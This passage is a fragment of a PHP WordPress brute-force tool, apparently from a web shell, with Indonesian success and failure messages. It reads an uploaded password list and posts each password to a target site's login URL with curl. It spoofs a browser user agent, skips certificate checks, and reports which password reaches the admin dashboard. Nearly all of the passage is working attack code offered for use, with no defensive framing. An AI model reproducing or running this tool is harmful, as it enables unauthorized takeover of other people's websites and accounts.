'; if(isset($_POST['startbf']) && !empty($logurl) && !empty($user) && $_FILES['netfile']['size'] !== 0){ $textkskc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123457890'; $panj = 15; $txtl = strlen($textkskc)-1; $uploadz = ''; for($i=1; $i<=$panj; $i++){ $uploadz .= $textkskc[rand(0, $txtl)]; } if(move_uploaded_file($_FILES['netfile']['tmp_name'], $uploadz)){ $passlists = file_get_contents($uploadz); unlink($uploadz); }else{ $passlists = ''; } $listspass = explode("\n", $passlists); if(isset($_POST['brift'])){ foreach($listspass as $pass){ if(logwp($logurl, urlencode($user), urlencode($pass))){ echo ''.htmlspecialchars($pass).' => Berhasil
'."\n"; break; }else{ echo ''.htmlspecialchars($pass).' => Gagal :(
'."\n"; } } }else{ foreach($listspass as $pass){ if(logwp($logurl, urlencode($user), urlencode($pass))){ echo ''.htmlspecialchars($pass).' => Berhasil Bos !!!
'."\n"; }else{ echo ''.htmlspecialchars($pass).' => Gagal
'."\n"; } } } }else{ echo '
WordPress Brute Force
Work On cPanel And Localhost
Login Url

Username

Password Lists

Break If True
'; } echo '
'; function logwp($urllgz, $login_email, $login_pass){ $urllgm = explode('?redirect_to=', $urllgz); $urllg = $urllgm[0]; $cookielog = 'gsh_cookie'; $fp = fopen($cookielog, 'w'); fwrite($fp, ''); fclose($fp); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $urllg); curl_setopt($ch, CURLOPT_POSTFIELDS, 'log='.$login_email.'&pwd='.$login_pass.'&login=Log%20In'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookielog); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookielog); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3'); curl_setopt($ch, CURLOPT_REFERER, $urllg); $page = curl_exec($ch) or die('Can\'t Connect to Host'); if(eregi('\'#dashboard_stats div.dashboard-widget-content\'', $page)){ return TRUE; }else{ return FALSE; } } ?>